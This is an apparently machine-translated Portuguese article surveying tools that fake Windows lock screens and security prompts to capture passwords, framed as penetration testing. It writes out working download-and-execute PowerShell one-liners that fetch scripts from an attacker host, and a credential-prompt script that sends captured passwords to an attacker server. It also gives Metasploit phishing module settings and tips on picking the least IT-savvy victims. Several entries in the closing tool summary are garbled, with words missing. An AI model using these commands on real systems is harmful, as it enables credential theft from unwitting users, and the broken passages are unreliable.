Credenciais de phishing do Windows





No primeiro trimestre de 2020, o número de ataques de phishing direcionados a usuários em todo o mundo dobrou em comparação com o mesmo período de 2019, de 9% para 18%. Esses dados são fornecidos pela "Kaspersky Lab".



Em sistemas operacionais da família Windows, é normal que alguns programas e processos solicitem credenciais de usuário para autenticação (por exemplo, no Outlook) para elevar privilégios de execução (Controle de Conta de Usuário) ou simplesmente para sair do modo de espera (Windows LockScreen). Imitar este comportamento do Windows permite que você recupere as credenciais do usuário para uso posterior em testes de penetração. Este artigo compilou um resumo de vários programas comuns de phishing para alterar a tela de bloqueio.



A PARTIR DE#



As técnicas modernas de pentesting são frequentemente baseadas na linguagem de programação C #, já que os programas nela podem ser executados por meio de vários frameworks (Cobalt Strike, Covenant, etc.)



1) O utilitário FakeLogonScreen foi desenvolvido por Arris Huijgen em C # e não substitui apenas a tela de entrada de senha do sistema operacional padrão, e faz isso utilizando os parâmetros da tela padrão configurada no sistema, o que aumenta significativamente as chances de não despertar suspeitas no usuário e obter com sucesso suas credenciais de login.





FakeLogonScreen - iniciar





FakeLogonScreen - tela de bloqueio



Ao inserir uma senha em uma página de login falsa, o FakeLogonScreen validará as credenciais no AD ou localmente para determinar com precisão se a senha foi inserida corretamente. No futuro, a senha será exibida no console do pentester.





FakeLogonScreen - Inserindo credenciais O



FakeLogonScreen também inclui uma segunda versão do arquivo executável que salva as credenciais capturadas no arquivo user.db localmente na máquina infectada. Este arquivo pode ser visualizado usando o comando type:



type C:\Users\testTHUser3\AppData\Local\Microsoft\user.db




FakeLogonScreen - salvando no arquivo user.db



2) O programa SharpLocker desenvolvido por Matt Pickford funciona de maneira semelhante . Uma vez iniciado, ele também substitui a tela de login original.





SharpLocker - bloqueio de tela



Cada caractere inserido pelo usuário é interceptado até que a senha inteira seja revelada. É importante notar, entretanto, que este utilitário não autentica a senha e irá farejar tudo o que o usuário inserir no campo de senha.





SharpLocker - phishing de senha



Escudo de poder



Os prompts de segurança do Windows para credenciais são muito comuns porque o software em um ambiente corporativo pode exigir regularmente confirmação adicional ou nova autorização. O Microsoft Outlook, por exemplo, é um dos representantes mais brilhantes desse software, que constantemente solicita aos usuários credenciais de domínio.



1. Um utilitário que se disfarça como uma janela de consulta de segurança do Windows é chamado CredsLeaker . Para seu correto funcionamento, é necessário um servidor web do qual receberá todos os arquivos necessários e onde armazenará as credenciais do usuário, bem como a presença do PowerShell para enviar solicitações HTTP ao seu servidor. No futuro, todos os comandos serão executados a partir do arquivo BAT incluído na composição.





CredsLeaker - Entrega HTTP



Antes de executar o arquivo run.bat, você precisa fazer todas as alterações necessárias nos arquivos de configuração do utilitário. Assim que o arquivo run.bat for iniciado, o usuário verá uma janela de Segurança do Windows solicitando suas credenciais.





CredsLeaker -



Janela de phishing A janela de prompt desaparecerá apenas se as credenciais de usuário válidas forem inseridas. Domínio, nome do computador, nome de usuário e senha serão salvos no arquivo creds.txt no caminho abaixo:



/var/www/html/creds.txt




CredsLeaker - saída para o arquivo creds.txt



2. Matt Nelson desenvolveu um script PowerShell que invoca um prompt de credencial de segurança do Windows e o valida. Esta janela também não pode ser fechada pelo usuário até que credenciais válidas sejam inseridas. Este script pode ser executado remotamente e as credenciais inseridas serão exibidas no console da máquina do invasor:



 powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt




Invoke-LoginPrompt - chamada remota





Invoke-LoginPrompt - janela de phishing



3. Como parte da estrutura Nishang , há também um script PowerShell que cria uma janela falsa para solicitar credenciais de usuário.



Import-Module C:\Invoke-CredentialsPhish.ps1
 	Invoke-CredentialsPhish




Invoke-CredentialsPhish - desafio local e janela de phishing



A janela gerada irá informá-lo de que esta ação requer confirmação na forma de credenciais. Usuários mais experientes em termos de segurança da informação podem suspeitar que essa janela é causada pela inicialização de um aplicativo em segundo plano, mas nem todos em uma rede corporativa podem ter esse conhecimento. As credenciais que o usuário inserir na caixa de diálogo serão exibidas no console.





Invoke-CredentialsPhish - saída dos dados coletados



Este script também pode ser executado remotamente:



powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-CredentialsPhish.ps1)); Invoke-CredentialsPhish


Rob Fuller em seu blog descreveu o ataque de phishing das credenciais de um usuário usando Metasploit e PowerShell. O Metasploit Framework inclui módulos que podem capturar as credenciais do usuário de vários protocolos (FTP, SMB, HTTP, etc.). O módulo a seguir é usado para implantar um servidor HTTP básico com autenticação:



use auxiliary/server/capture/http_basic
set URIPATH /


O PowerShell é usado para realizar um ataque de phishing nas credenciais do usuário, gerando uma janela de prompt de segurança do Windows e transmitindo as credenciais coletadas para o servidor HTTP criado anteriormente via Metasploit:



$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('http://10.10.0.5/');


A captura inicial de credenciais requer o uso da codificação UTF-16LE seguida pela conversão para Base64:



cat popup.txt | iconv -t UTF-16LE
 cat popup.txt | iconv -t UTF-16LE | base64 -w0




Converter o código em Base64 A



execução do código especificado, local ou remotamente, resulta na solicitação de autorização do usuário, supostamente da Segurança do Windows.



powershell.exe -ep bypass -enc <base64> 






Janela de credenciais de phishing



O módulo Metasploit receberá as credenciais assim que o usuário as inserir.





Servidor HTTP Metasploit - Recuperando Credenciais



Metasploit



O Metasploit Framework inclui um módulo que pode acionar de forma independente uma janela falsa solicitando autorização de segurança do Windows de quase qualquer processo no sistema. Para que este módulo funcione corretamente, você precisa especificar uma sessão do meterpreter em funcionamento e um processo em nome do qual a falsa solicitação de autorização do Windows Security será chamada.



use post/windows/gather/phish_windows_credentials
set SESSION 3
set PROCESS *
run




Módulo Metasploit - configuração



Neste caso, o símbolo * informa ao módulo para monitorar todos os processos que estão sendo executados em nome do sistema (NT Authority \ System), e chama uma caixa de diálogo quando um novo processo é iniciado no sistema em nome do sistema.





Módulo Metasploit - monitoramento de todos os processos



Assim que um novo processo é iniciado, o usuário verá uma caixa de diálogo em nome desse processo com um pedido de autorização para supostamente confirmar o trabalho futuro.





Módulo Metasploit - Janela de Phishing



Assim que o usuário insere as credenciais, elas são imediatamente exibidas no console Metasploit.





Módulo Metasploit - obtenção de credenciais



Além disso, este módulo pode ser configurado para aguardar o início de um processo específico.





Módulo Metasploit - Recuperando credenciais via processo notepad.exe



BASH



Lockphish é outro utilitário capaz de realizar um ataque de phishing que falsifica a janela de login do Windows. O modelo da janela de login é armazenado no servidor PHP e, por padrão, usa o YouTube para redirecionar o usuário após inserir o nome de usuário e a senha.



 bash lockphish.sh




LockPhish - Launch



Neste ponto, você precisa usar a engenharia social para atrair o usuário ao site onde os arquivos da tela de bloqueio estão localizados.





LockPhish - baixando um arquivo



Ao contrário de todos os outros utilitários, a disposição dos elementos nesta tela de bloqueio pode não ser precisa, a solicitação de autorização será exibida em nome do administrador, e não em nome da conta do usuário atual, e a janela de bloqueio é externamente estilizada como tela de bloqueio do Windows 10 Tudo isso em combinação pode alertar bastante o usuário. Este utilitário também não possui mecanismos para validar a senha inserida.





LockPhish - Lock Screen



Após o usuário inserir as credenciais, um redirecionamento para o site youtube.com será executado.





LockPhish - redirecionar



As credenciais serão exibidas no console.





LockPhish - credenciais coletadas



Os métodos apresentados neste artigo serão eficazes se o pentester já conseguiu ganhar uma posição no sistema (obter um ponto de entrada estável), mas não é possível elevar privilégios ou obter credenciais de usuário de outra forma. Ao conduzir esses ataques de phishing, você deve selecionar cuidadosamente o público-alvo. A eficácia será muitas vezes maior se o alvo forem os funcionários menos familiarizados com TI da organização.



Breve veredicto para todos os softwares testados



  • FakeLogonScreen. Parece o mais realista possível, ao usar os parâmetros padrão definidos no sistema. Sabe como realizar a validação das credenciais inseridas. (A melhor escolha)

  • SharpLocker. , windows LockScreen, , . ( , FakeLogonScreen)
  • CredsLeaker. , , - . , - — , “” , - — , , . ( )
  • Invoke-LoginPrompt. , , Windows. . ( , )

  • Invoke-CredentialsPhish. , .

  • Rob Fuller. metasploit, , . ( )

  • Metasploit phish_windows_credentials. Metasploit ( ), . ( , IT- )

  • LockPhish. Por um lado, uma tela de bloqueio torta, sem autenticação e até mesmo sem levar em consideração o usuário atual (sempre pede uma senha do Administrador). Por outro lado, é o único paciente que pode ser acionado por meio de um navegador. Envie o link para a vítima e aguarde. (Não é recomendado usá-lo imediatamente, no entanto, se você souber o login de uma vítima específica, reconfigure a partir do Adminnistrator para ele e não será tão ruim. Pode até funcionar)

Há ainda mais materiais em nosso blog sobre telegrama. Se inscrever!



All Articles